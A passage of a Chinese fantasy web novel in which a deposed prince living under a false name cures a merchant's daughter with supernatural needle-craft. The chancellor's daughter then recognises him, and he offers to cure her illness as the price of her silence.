叶玄回头看了他一眼,眼神依旧是那般古井无波。
“我从不说没有把握的话。”
“准备一套银针,要长短不一,至少九九八十一根。”
“再备一盆烈酒,一盆滚烫的热水。”
“快去。”
他的声音不大,却带着一种不容置疑的命令感。
“是!是!我马上去!”
柳承业如蒙大赦,连滚带爬地冲出了房间,那份急切,与他平日里沉稳的家主形象判若两人。
很快,下人便将叶玄所需之物悉数备齐。
一个硕大的针囊被打开,里面长短粗细各不相同的银针,在烛火下闪烁着森然的寒光。
叶玄看都没看那些下人一眼,只是对柳承业道:“守在门口,在我出来之前,任何人不得入内,不得打扰。”
“明白!”柳承业重重点头,亲自将房门关上,像一尊门神般守在外面。
房间内,只剩下叶玄和床上那个垂死的少女。
叶玄取过那盆烈酒,将双手浸入其中,仔仔细细地清洗了一遍。
随后,他捏起了一根三寸长的银针。
他的动作不快,却无比沉稳。
“以凡俗之躯,承受九幽寒毒,也算是你的不幸。”
“也罢,今日便让你见识一下,何为真正的医道。”
话音落下的瞬间,叶玄的气质陡然一变!
如果说刚才的他是一口深不见底的古井,那么此刻,他就是一柄出鞘的绝世神兵!
锋芒毕露!
嗖!
他手腕一抖,那根银针便化作一道银色的残影,精准无比地刺入了柳小姐眉心处的“印堂穴”。
针尾嗡嗡作响,发出一阵细微的蜂鸣。
紧接着,是第二针,第三针,第四针……
叶玄的双手快得几乎出现了残影,一根根银针被他从针囊中抽出,没有丝毫停顿,行云流水般刺入少女周身的大穴!
神庭、百会、太阳、人中……
他的每一次落针,位置都精准到毫厘之间,深度更是控制得妙到巅毫。
随着一根根银针落下,诡异的一幕发生了。
那些刺入少女体表的银针针尾,竟然以肉眼可见的速度,开始凝结出一层白色的冰霜!
房间里的温度,仿佛在这一刻又下降了几分。
那是从少女骨髓深处被逼出的至阴寒毒!
寻常大夫若是见到这一幕,恐怕早已吓得魂飞魄散。
因为这意味着寒毒已经彻底爆发,这是回光返照的最后征兆!
但叶玄的脸上,却看不到半分波澜。
他的神情专注到了极致。
当第七十二根银针落下时,少女的身体猛地一颤,一层细密的、带着冰碴的黑色汗珠,从她的毛孔中缓缓渗出!
整个房间里,瞬间弥漫开一股腥臭与极寒混合的诡异气息。
“还不够。”
叶玄低语一声,目光锁定在最后一组九根足有七寸长的银针上。
他深吸一口气,将九根长针同时拈在指间!
“九宫还阳,破而后立!”
“给我……出!”
一声低喝,九针齐出!
九道寒光,仿佛九条银龙,瞬间刺入少女心脉周围的九处护心大穴!
嗡——!
一声奇异的轰鸣,仿佛来自灵魂深处,在房间内回荡。
以那九根长针为中心,少女身体表面凝结的冰霜,仿佛遇到了克星一般,瞬间开始消融!
肉眼可见的,一缕缕白色的寒气,顺着那八十一根银针的针尾,被强行从少女体内“拔”了出来,逸散在空气中,又迅速凝结成冰晶,簌簌落下。
而少女那张原本如同死人般惨白的脸,开始缓缓地,有了一丝微弱的血色。
那青紫色的嘴唇,颜色也渐渐变淡。
原本若有若无的呼吸,变得清晰、悠长。
房间里那股刺骨的寒意,正在以惊人的速度退去。
桌上茶杯里的坚冰,发出“咔嚓”一声脆响,裂开了一道缝隙。
叶玄缓缓吐出一口浊气,额头上也渗出了一层细密的汗珠。
这套九宫还阳针法,对他如今这具人皇霸体而言,消耗也是极大。
他收回双手,静静地看着床上的少女。
命,是暂时保住了。
……
第16章 阴阳平衡?不,打破平衡!
门外。
柳承业如同热锅上的蚂蚁,来回踱步,一颗心都悬到了嗓子眼。
大堂里,王神医等一众大夫也都没有离开。
他们一个个唉声叹气,脸上写满了不忍和鄙夷。
“唉,柳老爷这次是真的被绝望冲昏了头脑。”
“那黄口小儿进去这么久,怕是柳小姐已经……唉!”
“胡闹!简直是胡闹!破坏了我们好不容易维持的平衡,这下好了,神仙难救!”
王神医更是满脸痛惜,已经准备好等会儿进去,如何措辞来安慰这位可怜的父亲了。
就在这时。
“吱呀——”
那扇紧闭的房门,开了。
叶玄面色平淡地从里面走了出来。
所有人的目光,瞬间聚焦在他身上。
王神医一个箭步冲了上去,痛心疾首道:“年轻人!你……你把柳小姐怎么样了?她……她是不是已经……”
然而,他的话还没说完,就猛地愣住了。
一股暖意。
一股带着生命气息的暖意,正从那门缝中缓缓流淌而出。
这……这怎么可能?!
刚才那房间,分明是如同九幽冰窟一般啊!
不等众人反应过来,柳承业已经疯了一样冲进了房间。
下一秒。
“啊——!”
一声狂喜到极致的、撕心裂肺的呼喊,从房间里传了出来!
紧接着,是柳承业语无伦次的哭嚎声。
“雪儿!我的雪儿!你的脸……你的脸有颜色了!你没死!你真的没死!”
“神医!神医啊!”
轰!
这几句话,如同九天惊雷,狠狠劈在了大堂里每一个大夫的头顶!
他们全都傻了。
一个个瞪大了眼睛,嘴巴张得能塞下一个鸡蛋,脸上写满了无尽的震惊与难以置信。
活了?
那个被他们所有人宣判了死刑的柳小姐,活了?
被那个毛头小子,救活了?
这……这是幻觉吗?!
在众人呆滞的目光中,柳承业跌跌撞撞地跑了出来,一把抓住叶玄的手,二话不说,就要跪下!
“先生!您就是我柳家的再生父母!请受我一拜!”
叶玄眉头微皱,手臂轻轻一托,一股巧劲发出,让柳承业怎么也跪不下去。
“柳老爷不必如此。”叶玄淡淡道,“令嫒的命,只是暂时保住了。”
柳承业激动得满脸涨红,语无伦次:“保住了!保住了就好!先生,您说,还需要什么!只要我柳承业能办到,上刀山下火海,在所不辞!”
“寒毒已伤及根本,非一日之功可以痊愈。”
叶玄的目光扫过那些呆若木鸡的大夫,声音清晰地传入每个人耳中。
“之后每日,我都需要为她施针一次,连续七日,方可驱除大部分寒毒。之后再以汤药温养,一月之后,或可痊愈。”
“所以,这段时日,怕是要在贵府叨扰几日了。”
“叨扰?先生说的是哪里话!”
柳承业喜出望外,“您能住下,是我柳家八辈子修来的福分!我这就让人给您准备最好的客房!不!就把我那座临湖别院给先生住!”
他说着,又匆匆跑回房间,看着床上呼吸平稳、面色红润的女儿,这位铁打的汉子,眼泪止不住地流下,亲自拿起毛巾,用热水为女儿擦拭着脸上渗出的黑色污渍。
叶玄转身,走下台阶,来到了那群大夫面前。
此刻,这二三十名云安城名医,看着叶玄的眼神,已经彻底变了。
没有了轻视,没有了鄙夷。
只剩下敬畏、震撼,以及深深的好奇。
王神医嘴唇哆嗦了半天,终于上前,对着叶玄深深一揖。
“先生……不,神医在上!请受老夫一拜!”
“之前是老夫有眼不识泰山,多有得罪,还望神医恕罪!”
说着,他竟真的要拜下去。
“王神医言重了。”叶玄再次抬手,将他扶住。
“不知者不罪。”
王神医老脸一红,随即用一种近乎于朝圣般的眼神看着叶玄,小心翼翼地问道:“敢问神医,柳小姐这寒髓症,我等用尽温养之法,也只能延缓,为何神医您……您能有如此雷霆手段,将其逆转?”
“不知……可否为我等解惑一二?也好让我等这些井底之蛙,开开眼界!”
这个问题,问出了所有大夫的心声。
他们抓耳挠腮也想不明白,这完全违背了他们毕生所学的医理!
叶玄看着他们渴求的眼神,嘴角勾起一抹微不可察的弧度。
他之所以愿意多说几句,是因为这些人虽然迂腐,但从那本厚厚的病案来看,医德尚可,并非奸恶之辈。
更重要的,他需要通过这些人的口,将他“神医”的名号,彻底在云安城打响!
“各位的思路,错了。”
叶玄负手而立,声音平淡,却仿佛带着某种魔力。
“寒髓之毒,其性至阴至寒,如附骨之疽。你们用温养之法,如同隔靴搔痒,只能延其生机,却无法撼其根本。待寒毒积重难返,便是神仙难救。”
众大夫纷纷点头,这和他们的判断一样。
“那……神医您的意思是?”王神医追问。
叶玄淡淡一笑。
“对付这等至阴至寒之物,温养,不如猛攻。”
“我所用的,乃是以阳克阴,以刚破柔之法。”
“以九宫为基,布下纯阳之阵,再以特制的‘九宫还阳针’为引,强行撬动她体内最后一丝生机阳气,使其在瞬间爆发,与那寒毒正面相撞。”
“此法,名为……破而后立,向死而生。”
一番话说完,满堂死寂。
所有大夫都愣在原地,嘴里反复咀嚼着“破而后立,向死而生”这八个字,眼中时而迷茫,时而迸发出骇人的精光。
以阳克阴?
强行引爆阳气?
这……这简直是疯子才敢想出来的办法!
稍有不慎,阴阳对冲,病人岂不是会当场爆体而亡?
“可是……可是这阴阳平衡……”一名大夫下意识地反驳。
叶玄瞥了他一眼。
“平衡?”
“她体内早已只剩阴,没有阳,何来平衡?”
“想要救她,就必须先在她体内,人为地创造出一场足以撕裂一切的风暴!”
“当然,这其中的力道、时机、落针的穴位,差之毫厘,便是生死之别。没有绝对的掌控力,此法与杀人无异。”
“诸位,可明白了?”
明白了?
他们好像明白了,又好像什么都没明白。
但他们知道了一件事。
眼前这个年轻人的医道,已经超出了他们的认知范畴!
那是一种他们完全无法理解,更无法企及的境界!
“原来如此……原来如此啊!”
王神医仰天长叹,脸上满是颓然与敬佩。
“听君一席话,胜读十年书!不,是胜读百年书啊!”
“我等坐井观天,固步自封,险些害了柳小姐性命,实在是……惭愧!惭愧啊!”
一众大夫,尽皆对着叶玄,躬身行礼,心悦诚服。
叶玄看着眼前这一幕,心中波澜不惊。
一切,尽在掌握之中!
第17章 连名字都不知道?
在满堂大夫敬畏与叹服的目光中,叶玄的神情没有丝毫变化。
仿佛这一切,本就理所应当。
他对着众人微微颔首,算是回应,随即转身看向柳承业。
“柳老爷,施针耗费心神,我需要静养。”
他的声音不大,却带着一种不容置喙的命令感。
“是!是!神医请!”
柳承业如梦初醒,连忙在前面引路,姿态恭敬到了极点,甚至不敢与叶玄并肩,而是微微落后半步。
“先生放心,我已将府上最好、最清净的临湖别院‘听雨轩’收拾了出来,绝不会有任何人打扰您歇息!”
叶玄不置可否,跟着他穿过回廊,来到一座雅致的院落。
柳承业亲自推开院门,又命人送上全新的被褥、顶级的香茗和各色点心,这才小心翼翼地退下,并严令任何下人不得靠近别院百步之内。
叶玄走进房间,关上房门。
方才在人前那份淡然自若瞬间褪去,一股深深的疲惫感涌了上来。
他确实消耗巨大。
那“九宫还阳针法”霸道绝伦,撬动的是天地之力与人体潜能,对他自身的精神与内力也是一种极大的考验。
但他更清楚,越是这种时候,越要表现得云淡风轻。
这不仅是震慑,更是一种无形的自我保护。
他盘膝坐下,缓缓调息,脑中已在飞速复盘今日的一切,并开始推演接下来的每一步。
云安城,将是他龙潜于渊的第一站。
……
时间流转,日头西斜。
云安城宽阔的青石官道上,一辆装饰素雅却用料考究的马车,在数名精悍护卫的簇拥下,缓缓驶入了城门。
马车内,苏轻雪撩开一丝车帘,看着窗外热闹的街景,清冷的眸子里流露出一丝疲倦。
从京都到云安城,一路风尘仆仆。
那片血腥的屠杀现场,与那句“世上再无八皇子”,依旧如梦魇般在她脑海中挥之不去。
“小姐,我们是先找客栈歇脚,还是……”一旁的忠叔低声询问。
苏轻雪放下车帘,轻轻揉了揉眉心。
“忠叔,我们与柳家是通家之好,既然到了云安城,没有不去拜会的道理。”
“况且,我与月雪妹妹也有近一年未见了,平日里书信虽未断,但终究是想念得紧。”
她口中的月雪,正是柳家小姐,柳月雪。
“也好。”忠叔点了点头,“柳家在云安城根基深厚,我们在此落脚,也最为安全。”
马车一路行驶,很快便停在了柳家那座气派非凡的府邸门前。
朱红大门,石狮镇宅,彰显着主人的不凡地位。
忠叔上前,将拜帖递给门丁,并沉声报上名号:“京城苏家,首辅千金苏轻雪小姐,前来拜会柳老爷。”
门丁一听“京城苏家”、“首辅千金”,吓得一个哆嗦,险些把拜帖都掉在地上。
这可是通天的大人物!
他不敢有丝毫怠慢,一边派人飞奔进去通报,一边亲自将大门完全敞开,恭敬地将马车迎了进去。
片刻之后,柳府大堂。
刚刚安顿好叶玄,又去探望了女儿,心情如同坐过山车般的柳承业,正准备喘口气,就听闻了苏轻雪到访的消息。
他精神一振,连忙亲自迎了出来。
“哎呀!是轻雪侄女来了!真是稀客,稀客啊!”
柳承业脸上堆满了热情的笑容,快步走上前。
“柳伯伯安好。”
苏轻雪盈盈一礼,举止端庄,大家风范尽显。
“一路舟车劳顿,冒昧打扰,还望伯伯见谅。”
“说得哪里话!你能来,柳伯伯高兴还来不及!”柳承业爽朗地笑着,将她迎入大堂,“快请坐,快请坐!来人,上最好的茶!”
一番寒暄客套后,丫鬟奉上了香茗。
苏轻雪环视了一圈,却不见闺中密友的身影,不由得嫣然一笑,带着几分小女儿家的娇嗔,打趣道:
“柳伯伯,月雪妹妹呢?莫不是知道我来了,故意躲着不肯见我?”
“我们可是许久未见了,她再不出来,我可要怪她与我生分了。”
这本是一句玩笑话。
然而,听到“月雪”二字,柳承业脸上那份发自内心的热情笑容,却猛地一僵。
他的眼眶瞬间就红了,嘴唇哆嗦了一下,千言万语化作一声沉重的叹息。
“唉……”
苏轻雪何等聪慧,立刻察觉到了不对。
她脸上的笑容收敛,关切地问道:“柳伯伯,可是……月雪妹妹出什么事了?”
柳承业端起茶杯,想要喝一口,可手却抖得厉害,茶水都洒了出来。
他放下茶杯,声音沙哑地将女儿身患寒髓症,遍请名医束手无策,今日更是一度被断定回天乏术的惊险过程,一五一十地讲了出来。
讲到绝望之处,这位在云安城内叱咤风云的铁汉,眼泪都快掉了下来。
讲到峰回路转,他又激动得满脸涨红,手舞足蹈。
苏轻雪静静地听着,一颗心也跟着提到了嗓子眼。
她与柳月雪情同姐妹,完全无法想象,那个活泼开朗的少女,竟在鬼门关走了一遭!
“什么?寒髓症竟凶险至此?”
苏轻雪大吃一惊,俏脸上满是担忧与后怕。
“那……那月雪妹妹现在如何了?伯伯,我能……过去看望她一眼吗?”
“当然可以,当然可以!”
柳承业连忙起身,“你跟我来,她刚刚睡下,我们动静轻一些。”
苏轻雪点点头,怀着忐忑的心情,跟在柳承业身后,穿过庭院,来到柳月雪的闺房外。
还未进门,苏轻雪就闻到一股淡淡的药味和酒气混合的味道。
推门而入。
房间里虽然已经不似柳承业描述的那般冰冷刺骨,但依旧能感觉到一丝残存的寒意。
苏轻雪快步走到床边。
只见床榻上的少女,面色虽然还有些苍白,但已然透着一抹健康的红润,呼吸平稳悠长,与柳承业描述的那个面如死灰、气息断绝的模样,判若两人。
她额头上还有一些细微的黑色污渍没有完全擦拭干净,仿佛是体内排出的毒素。
苏轻雪悬着的心,终于放下了一大半。
她转过头,看着柳承业,由衷地感叹道:“柳伯伯,月雪妹妹吉人天相,能挺过这一关,真是万幸。”
“是啊!是万幸!”
柳承业看着女儿安睡的容颜,眼眶再次湿润了。
“若非是遇到了一位天人般的神医出手相救,我……我今日恐怕就要白发人送黑发人了!”
他说着,语气中充满了无尽的感激与后怕。
“神医?”
苏轻雪的美眸中闪过一丝好奇。
能将云安城所有名医都束手无策的“寒髓症”逆转,这等医术,确实担得起“神医”二字。
“是啊!一位真正的神医!”柳承业激动地比划着,“那等手段,简直是神仙下凡,匪夷所思!”
苏轻雪心中兴趣更浓,柔声问道:“不知是哪位杏林国手有此通天之能?竟能治好这等绝症?柳伯伯,可否告知侄女他的名讳,日后若有机会,我也好当面拜谢他对月雪妹妹的救命之恩。”
听到这个问题,柳承业脸上的激动表情,却突然凝固了。
他张了张嘴,喉咙里“呃”了半天,一个字也吐不出来。
那张涨红的脸,瞬间憋成了猪肝色。
苏轻雪见状,有些不解地看着他。
柳承业老脸一红,尴尬地挠了挠头,支支吾吾地说道:
“这个……这个……”
“当时……当时我只顾着激动和高兴了,一时间……竟……竟忘了询问那位先生高姓大名……”
第18章 竟然是你?
苏轻雪听到这话,清冷的眸子中闪过一丝错愕。
她看着眼前这位在云安城呼风唤雨,此刻却满脸尴尬窘迫的柳承业,一时间竟不知该说什么。
那双美眸,微微眯起。
房间内陷入了短暂的沉默,气氛变得有些微妙。
过了片刻,苏轻雪才重新开口,只是声音里,已经没了之前的娇嗔和玩笑,反而多了一丝不易察觉的凝重。
“柳伯伯,您可知,您错过的,或许不仅仅是一个名字?”
她的声音很轻,却像一颗石子投入柳承业的心湖,激起层层涟漪。
柳承业愣住了:“轻雪侄女,你这是何意?”
苏轻雪轻轻摇头,一字一句道:“此等人物,医术通神,手段超凡,绝非池中之物。他今日能救月雪妹妹,便是在柳家落下了一份天大的人情。”
“这份人情,若经营得当,可保柳家百年无虞。”
“可若是……连对方的名姓都未曾问上一句,这人情,便轻了,也淡了。”
“在对方眼中,这或许便不是结交,而仅仅是一场交易罢了。”
苏轻雪的话,如同一盆冷水,瞬间浇醒了还沉浸在喜悦与激动中的柳承业。
他后背猛地渗出一层冷汗。
是啊!
自己当时只顾着高兴,只想着神医需要休息,却忽略了这最最重要的一环!
这等神仙人物,自己竟连对方叫什么都不知道,传出去岂不是天大的笑话?这更是对神医的一种不敬!
“我……我糊涂啊!”柳承业一拍大腿,懊悔不已。
苏轻雪看着他,清冷的脸上露出一抹浅浅的笑意,如冰雪初融。
“柳伯伯也不必过于自责,您是爱女心切,关心则乱。”
“既然伯伯当时忘了,那便由侄女代劳吧。”
她站起身,对着柳承业盈盈一礼。
“于公,侄女想代柳家,弥补这份疏忽,正式结交这位高人。”
“于私,他对月雪妹妹有再造之恩,我身为姐姐,理应亲自登门,当面道一声谢。”
柳承业看着眼前这位举止得体、谈吐不凡的侄女,心中又是感激又是赞叹。
不愧是首辅千金,京城第一才女!
这份见识,这份气度,远非寻常女子可比!
“好!好!还是轻雪你想得周到!”柳承业连连点头,亲自在前方引路,“神医正在听雨轩歇息,我带你过去。”
两人一前一后,穿过抄手游廊,走向府邸深处那座最为雅致的临湖别院。
路上,柳承业压低了声音,神情肃穆地叮嘱道:“轻雪,那位叶先生……哦,对了,他姓叶,我只知道他姓叶。”
“那位叶先生,虽然看上去极其年轻,但你见了之后,切不可因其年岁而有分毫轻视。”
“他的气度……风采……唉,我也说不好,总之,不像凡人!”
柳承业搜肠刮肚,也找不到一个合适的词来形容叶玄给他的感觉。
那种感觉,超越了权势,超越了威严,是一种仿佛能掌控一切的淡然与自信。
苏轻雪默默听着,心中对这位“叶先生”的轮廓,愈发清晰,也愈发好奇。
能让柳承业这等人物都感到词穷,甚至心生敬畏的年轻人,会是何等模样?
柳承业又想起一事,关切地看向她:“对了,轻雪,我记得你自小便……身子骨也不太好,时常需要汤药温养。那位叶先生医术通天,连寒髓症都能逆转,要不……也请他为你瞧瞧?”
苏轻雪的脚步微微一顿。
她垂下眼帘,长长的睫毛在眼下投下一片淡淡的阴影,遮住了眸中的情绪。
片刻后,她才缓缓摇头。
“不必了,柳伯伯。”
她的声音依旧清冷,却带着一种不容置喙的决断。
“恩不可滥求。”
“他今日救月雪,是情分。我若再开口,便是交易。”
“与这等高人结交,情分,远比交易来得金贵。”
“况且……”她顿了顿,唇角勾起一抹意味不明的弧度,“我这身子,我自己清楚,暂时还无大碍。”
柳承业闻言,只当她是客气,心中却对苏轻雪的这份玲珑心思更加佩服,便也不再强求。
很快,一座被翠竹环绕,临湖而建的精致院落,出现在两人眼前。
院门外,两名柳家最精锐的护卫如同雕塑般肃立,却不敢靠近院门百步之内,只是远远守着。
柳承业在院门外便停下了脚步,连大气都不敢喘。
他没有直接上前敲门,而是对一名早已候在这里的下人使了个眼色。
那下人会意,踮着脚,小心翼翼地走到院门前,恭恭敬敬地低声通报。
苏轻雪将这一切看在眼里,心中愈发凛然。
在自己家中,对一位客卿,竟要做到这般低三下四,如履薄冰。
这位叶先生的本事和地位,怕是比自己想象的,还要高得多!
她不动声色地收起了心中所有的轻视与好奇,将心态彻底摆正。
今日,她不是首辅千金,也不是京城才女。
她只是一个前来拜谢高人的晚辈。
片刻后,下人快步返回,躬身道:“老爷,苏小姐,叶先生有请。”
柳承业这才松了口气,亲自上前,轻轻推开院门,做了一个“请”的手势。
苏轻雪款步而入。
院内,湖风微拂,竹影摇曳,一股淡淡的,混合着药香与檀香的气息扑面而来,让人心神为之一清。
房间的门虚掩着。
柳承业带着苏轻雪,走到门前,再次恭敬地叩了叩门。
“进来。”
一个清朗而略带磁性的声音,从房内传出。
声音不大,却仿佛带着一种奇异的穿透力,直抵人心。
柳承业推开房门。
苏轻雪抬眸望去。
只见窗边,一道修长的身影正盘膝而坐。
他身穿一袭简单的月白长袍,墨发如瀑,仅用一根木簪松松垮垮地束着。
他似乎刚刚结束调息,正缓缓睁开双眼。
那是一双怎样的眼睛?
深邃、平静,宛如古井,又仿佛蕴藏着星辰宇宙,能将人的灵魂都吸进去。
时间,在这一刻仿佛静止了。
当那道身影缓缓侧过脸,将完整的面容展现在苏轻雪面前时。
苏轻雪整个人如遭雷击,瞬间僵在了原地。
她那张万年冰封的清冷俏脸,第一次出现了裂痕,血色尽褪,变得一片煞白。
红唇微张,一双美眸中充满了极致的震惊、骇然、以及一丝……连她自己都未曾察觉的恐惧。
她下意识地后退了半步,喉咙里发出一声梦呓般的低呼,轻得几乎听不见。
“是……你?!”
第19章 潜龙在渊?好大志向啊!
那一瞬间,空气仿佛被抽干。
时间凝固。
窗外的风声、竹叶的沙沙声,尽数远去。
苏轻雪的世界里,只剩下那张脸。
一张本该出现在卷宗里,被标记为“病死于云安城外”的脸。
一张在京城无数权贵眼中,懦弱、可欺、毫无价值的脸。
大乾王朝,第八皇子,叶玄。
他怎么会在这里?!
他不是应该化作一具枯骨,被野狗啃食得面目全非吗?
他怎么会变成柳承业口中那位“天人般的神医”?!
“轰!”
苏轻雪只觉得一道天雷在脑海中炸开,炸得她浑身冰冷,四肢僵硬。
红唇无意识地微张,那双洞悉世事的清冷美眸中,此刻只剩下最纯粹的震惊,骇然,以及一丝连她自己都未曾察白,源自灵魂深处的恐惧。
“是……你?!”
一声梦呓般的低呼,从她喉咙深处溢出,轻得仿佛随时会碎在风里。
而另一边。
在苏轻雪看清他面容的同一刹那,叶玄的瞳孔,也微不可察地收缩了一下。
虽然仅仅是一瞬,快到连柳承业都无法捕捉。
但他心中,同样掀起了滔天巨浪。
苏轻雪!
首辅苏长青的掌上明珠,京城第一才女!
更是太子叶昊一直梦寐以求,却始终无法染指的女人!
因为她的存在,太子与首辅之间早已生了嫌隙。
她怎么会在这里?
是巧合?
还是说……自己的行踪,已经暴露了?
太子的人,这么快就追查到这里了?
无数念头在叶玄脑中电光火石般闪过,但他表面上,却依旧是那副云淡风轻的模样。
只是那双古井无波的眸子里,多了一抹无人能懂的幽深与冷冽。
他没有承认,也没有否认,只是静静地看着她,仿佛在欣赏一出有趣的戏剧。
“嗯?”
这微妙的死寂,终于让迟钝的柳承业察觉到了不对劲。
他看看脸色煞白、失魂落魄的苏轻雪,又看看神情淡然、高深莫测的叶玄。
“轻雪侄女,叶先生,你们……认识?”
柳承业小心翼翼地问道,心中满是疑窦。
这气氛,不对啊!
苏轻雪猛地回过神来,长长的睫毛一颤,瞬间压下了所有的情绪。
她不愧是苏轻雪。
仅仅一个呼吸,便强行让自己恢复了镇定,只是那苍白的脸色和微微捏紧的指尖,还是暴露了她内心的不平静。
她转过头,对着柳承业勉强挤出一个比哭还难看的笑容,声音却已经恢复了清冷。
“不认识。”
“只是……这位先生的风采,让轻雪想起了一位故人,一时失神,让柳伯伯见笑了。”
这个解释,天衣无缝。
叶玄闻言,唇角勾起一抹浅淡的弧度,配合得恰到好处。
他看向柳承业,声音温和清朗:“苏小姐说笑了,在下久居山野,与小姐应是初见。”
两人一唱一和,默契得仿佛排练了千百遍。
柳承业是何等精明的人物,在商海沉浮数十年,察言观色的本事早已炉火纯青。
他一眼就看出,这两人在说谎!
而且是一个天大的谎言!
他们绝对认识!
而且关系绝不简单!
一个念头在柳承业心中升起,让他后背的冷汗又冒出了一层。
但他不敢问。
更不敢戳穿。
无论是这位神仙般的叶先生,还是背景通天的首辅千金,都不是他能得罪得起的。
“啊,哈哈,原来是这样,原来是这样!”
柳承业连忙打着哈哈,强行活跃气氛:“来来来,我为二位介绍一下。”
“轻雪啊,这位就是我跟你说的,救了月雪性命的叶神医!”
“叶先生,这位是老夫的侄女,京城首辅的千金,苏轻雪。听闻先生大恩,特地前来拜谢。”
叶玄看着苏轻雪,目光平静,缓缓开口,报上了自己早已准备好的假名。
“神医不敢当,在下叶潜渊。”
潜渊。
当这两个字落入苏轻雪耳中时,她那双刚刚恢复清冷的眸子,骤然眯起,闪过一道锐利的锋芒。
潜龙在渊!
好一个叶潜渊!
好一个八皇子!
他这是在告诉自己,他蛰伏于此,终有一日,要一飞冲天,搅动风云吗?
柳承业完全没注意到两人之间的暗流,他见两人“互报”了姓名,只觉得气氛尴尬到了极点,自己站在这里如坐针毡。
他连忙找了个借口:“哎呀,看我这记性,说好给叶先生准备上好的茶点,我这就去催催下人!你们年轻人,先聊,先聊!”
说罢,他如蒙大赦,几乎是落荒而逃般地退出了房间,还体贴地将房门轻轻带上。
吱呀一声。
房门闭合。
隔绝了外界的一切。
也隔绝了所有的伪装。
房间内,陷入了死一般的寂静。
苏轻雪没有动,她只是静静地站着,目光如刀,一寸一寸地审视着眼前的男人。
许久。
她缓缓走到一旁的椅子前,拂袖坐下,动作优雅,却带着一股无形的压迫感。
“潜渊?”
她朱唇轻启,声音清冷如冰珠落玉盘。
“潜龙升渊?”
“八皇子,好大的志向啊。”
她直接撕破了那层窗户纸,将叶玄的身份,赤裸裸地摆在了台面上。
叶玄却笑了。
他没有丝毫被揭穿的慌乱,反而从蒲团上站起身,缓步走到窗边,负手而立,望着窗外的湖光竹影。
“苏小姐的来意,更让在下好奇。”
他转过头,目光深邃地看着她,话语间带着一丝玩味。
“是巧合?”
“还是……故意为之?”
苏轻雪迎着他的目光,毫不退让。
“自然是意外之喜。”
她淡淡道。
“我只是没想到,太子殿下布下的天罗地网,竟然连一条‘漏网之鱼’都算不上。”
“我更好奇,那晚追杀你的人,都发生了什么?”
她的声音很轻,却带着刺骨的寒意。
“传闻中手无缚鸡之力,性情懦弱的八皇子,不仅能从死局中逃生,还摇身一变,成了能逆转‘寒髓症’的神医。”
苏轻雪的嘴角,勾起一抹讥讽的弧度。
“看来,我们所有人都小看你了。”
“或者说……”
她顿了顿,一字一句,如重锤般敲在寂静的空气中。
“你,到底是谁?”
第20章 封口费
“你,到底是谁?”
苏轻雪的声音,如三九寒冬的冰凌,一字一句,敲打在死寂的空气中,带着刺骨的寒意。
叶玄笑了。
那笑容里,没有半分被揭穿身份的惊惶,反而带着一丝玩味,一丝欣赏,仿佛在看一只闯入自己领地的、美丽而又张牙舞爪的波斯猫。
他悠悠转身,目光从窗外的湖光竹影,重新落回苏轻雪那张清冷绝俗的脸上。
“我还能是谁?”
他的声音很轻,却带着一种不容置疑的上位者气息。
“一个被皇兄构陷,被父皇废黜,连封地都没有,只能在逃亡路上苟延残喘的丧家之犬罢了。”
他顿了顿,唇角的弧度愈发嘲弄。
“如今,不过是凭着一门祖传的手艺混口饭吃。”
“怎么?”
叶玄向前踏出一步,无形的气场瞬间将苏轻雪笼罩。
“苏大小姐是要替太子殿下清理门户,将我这只‘漏网之鱼’,重新押回京城的天牢吗?或者,送我去北凉?”
他的话语,如同一柄柄淬毒的匕首,精准地刺向苏轻雪的软肋。
太子!
这两个字,让苏轻雪那双古井无波的眸子,瞬间掀起滔天巨浪。
她与太子的恩怨,是整个京城权贵圈都心知肚明,却又讳莫如深的禁忌。
眼前的男人,分明是在用最温和的语气,说着最诛心的话!
他在试探自己!
试探自己的来意,试探自己的立场!
苏轻雪心中掀起惊涛骇浪,但面上却依旧维持着那份清冷。
她缓缓摇了摇头,长长的睫毛垂下,掩去了眼底所有的情绪。
“八皇子说笑了。”
她的声音恢复了平静,仿佛刚才的失态从未发生。
“轻雪只是区区一介女流,朝堂倾轧,皇子争斗,与我何干?”
“我没有那么大的本事,更没有那么大的兴趣,去插手太子殿下的事情。”
她站起身,理了理并无一丝褶皱的裙摆,姿态优雅,却透着一股拒人于千里之外的疏离。
“今日之事,纯属意外。”
“既然知道了叶先生的真实身份,轻雪自当守口如瓶,绝不多言半字。”
“告辞。”
说完,她转身便要离去,没有丝毫拖泥带水。
她走得决绝,仿佛多待一秒,都会被这间屋子里的秘密所吞噬。
就在她的手即将触碰到门扉的那一刻。
身后,传来了叶玄那不疾不徐的声音。
“苏小姐,留步。”
苏轻雪的脚步,微微一顿。
但她没有回头。
只听叶玄的声音悠悠传来,带着一丝洞悉一切的淡然。
“苏小姐自幼体弱,每逢阴雨,便会胸闷气短,四肢冰冷,对吗?”
“轰!”
这一句话,比之前揭露他皇子身份,更让苏轻雪感到震惊!
这……两人只不过才见一面,对方就知道了自己的病痛!
难道他真的有这么厉害的医术?
“你的病,与柳月雪的寒髓症根源相似,却又有所不同。”
叶玄的声音,如同魔鬼的低语,一字一句,清晰地传入她的耳中。
“柳月雪是寒毒入髓,而你,是胎里带来的一缕先天寒气,盘踞心脉,随着年岁增长,愈发根深蒂固。”
“京城的御医,应该都束手无策吧?”
苏轻雪猛地转过身,那双清冷的眸子里,第一次露出了无法掩饰的骇然!
她死死地盯着叶玄,仿佛要将他看穿。
眼前的男人,到底是什么怪物!
“你……”
她的声音,第一次带上了一丝颤抖。
叶玄迎着她震惊的目光,唇角勾起一抹胜券在握的弧度。
“我能治。”
他缓缓说道,声音不大,却掷地有声。
“就当是……”
他玩味地看着苏轻雪,一字一顿地说道:
“给你的,封口费。”
苏轻雪的心,在这一刻彻底乱了。
理智告诉她,应该立刻离开这个危险的男人,离他越远越好。
但身体的本能,对活下去的渴望,却让她无法迈出那一步。
她看着叶玄那双深邃如渊的眸子,仿佛能吞噬一切。
许久。
她什么也没说。
只是深深地看了叶玄一眼,那眼神复杂到了极点,有震惊,有忌惮,有挣扎,还有一丝她自己都未曾察觉的希冀。
最终,她还是转过身,拉开房门,一言不发地走了出去。
脚步,却不似来时那般决绝。
叶玄看着那道倩影消失在门外,嘴角的笑意愈发深邃。
他知道,鱼儿已经上钩了。
苏轻雪,你逃不掉的。
无论是你的病,还是你这个人,终将成为我棋盘上,最重要的一颗棋子。
他缓缓坐回蒲团,双目微阖,继续盘膝调息,仿佛刚才那场惊心动魄的交锋,从未发生过。
……
听雨轩外,大厅之中。
